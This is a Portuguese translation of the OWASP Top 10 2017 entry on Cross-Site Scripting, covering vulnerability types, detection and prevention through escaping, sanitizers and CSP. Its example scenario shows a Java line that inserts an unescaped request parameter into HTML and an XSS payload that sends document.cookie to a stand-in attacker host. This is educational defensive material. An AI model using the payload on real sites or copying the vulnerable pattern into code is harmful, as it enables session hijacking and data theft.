# A3 - Cross Site Scripting

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Ameaça**  **Agentes** | **Vetores de Ataque** | **Falha**  **De**  **Segurança** | **Impactos Tecnicos** | **Impactos no negócio** |
| **Específico de aplicação** | **Exploração**  **MÉDIA** | **Prevalência**  **ALTAMENTE**  **DESSIMINADA//**  **Detectabilidade - Média** | **Impactos**  **MODERADOS** | **Aplicação /**  **Específico dO Negócio** |
| Considerar toda e qualquer pessoa que possa enviar dados não fiáveis para o sistema.  Isto inclui utilizadores externos, parceiros de negócio, outros sistemas, utilizadores internos e administradores. | Os atacantes enviam scripts baseados em texto que exploram o interpretador do browser.  Praticamente qualquer fonte de dados pode ser um vetor de ataque, incluindo fontes internas tal como dados provenientes das bases de dados. | As falhas de [XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) acontecem quando uma aplicação faz um update a uma página web com dados controlados pelo atacante, sem que o seu conteudo seja corretamente escapado ou sem que haja uso de uma API Javascript segura.  Existem duas categorias principais de falha:   1. [Stored](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks); 2. [Reflected](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks);   Ambas podem acontecer em :   1. [Servidor](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#Server_XSS) 2. [Cliente](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#Server_XSS)   A detecção de falhas no [Servidor](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#Server_XSS) é relativamente simples, através de testes ou análise de código.  No entanto, no caso do Cliente é muito mais complicado de fazer a identificação.  . | Os atacantes podem executar scripts no browser de uma vitima para fazer hijack de sessões de utilizador, modificar websites, inserir conteúdo hostil, redireccionar users, fazer hijack do browser do utilizador usando Malware, etc... | Considerar o valor de negócio do sistema afectado e todos os dados nos processo afetos.  Necessário considerar também o impacto no negócio que pode causar a exposição pública da vulnerabilidade |

## Sou vulnerável ao XSS?

Sim, se o código server-side usar input providenciado pelo Utilizador como parte do output do HTML e não se usarem caracteres de escape apropriados ao contexto em questão, para impedir que o script seja executado.

Se uma página Web usar Javascript para adicionar código controlado por um ataque a uma página, estamos perante [XSS do lado Cliente](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting" \l "Client_XSS). Idealmente, é de evitar o envio de código potencialmente controlável para [APIs Javascript que não sejam seguras](https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf), mas “escapar” a validação do input pode ser uma ferramenta útil para tornar o processo seguro.

Ferramentas automatizadas podem encontrar problemas de XSS automaticamente. No entanto, cada aplicação constrói as páginas de output de modo diferente e usa tipicamente interpretadores diferentes (Javascript, ActiveX, Flash e Silverlight), com bibliotecas “3rd party” em cima destas tecnologias.

Esta diversidade torna a detecção automática complicada, particularmente quando se usam aplicações modernas só com uma página e frameworks / bibliotecas de Javascript poderosas.

Por isso, um processo completo de tornar as páginas mais seguras passa por uma combinação de rever o código manualmente, pentesting e aproximações automatizadas.

## Como prevenir um ataque de XSS

Prevenir um ataque XSS requer a separação entre os dados não confiáveis e o conteúdo activo do Browser:

1. para evitar ataques [XSS do lado servidor](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting" \l "Server_XSS), a melhor opção é utilizar correctamente os caracteres de escape dos dados não confiáveis, tendo em conta o contexto HTML em que são inseridos (body, attribute, JavaScript, CSS ou URL). Verificar a [OWASP XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) para detalhes sobre as técnicas de uso de caracteres de escape.
2. Para evitar ataques [XSS do lado do Cliente](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting" \l "Client_XSS), a melhor opção é evitar passar dados para Javascript ou outras APIs que possam gerar conteúdo activo. Quando isto não poder ser evitado, técnicas semelhantes de uso de caracteres de escape podem ser usadas para ser aplicadas nas APIs do browser, tal com está descrito no OWASP DOM based XSS Prevention Cheat Sheet.
3. Para conteúdo complexo, considerar a auto-sanação das bibliotecas, usando o [OWASP AntiSamy](https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project) ou o [Java HTML Sanitizer Project](https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project).
4. Considerar a [Política de Segurança de Conteúdos (PSC ou CSP – Content Security Policy)](https://en.wikipedia.org/wiki/Content_Security_Policy) para defender o site inteiro contra ataques.

## Cenário Exemplificativo de Ataque

A apllicação usa dados não confiáveis na construção do seguinte HTML sem validação ou escaping correto:

**(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";**

**O atacante modifica o parâmetro CC do seu browser para algo como**

**'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'**.

Este ataque causa que o ID da sessão da vítima seja enviado para o WebSite do atacante, permitindo que o atacante possa fazer hijack à sessão actual do utilizador. De notar que o atacante pode usar XSS para ultrapassar qualquer defesa CSRF automática que a aplicação possa ter. Verificar o ponto 2017-A8 para mais informação sobre o CSRF.

**Referências OWASP**

• [OWASP Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting)

• [OWASP XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)

• [OWASP DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)

• [OWASP Java Encoder API](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project)

• [ASVS: Output Encoding/Escaping Requirements (V6)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)

• [OWASP AntiSamy: Sanitization Library](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)

• [Testing Guide: 1st 3 Chapters on Data Validation Testing](https://www.owasp.org/index.php/Testing_for_Input_Validation)

[• OWASP Code Review Guide: Chapter on XSS Review](https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting)

• [OWASP XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

**External**

• [CWE Entry 79 on Cross-Site Scripting](http://cwe.mitre.org/data/definitions/79.html)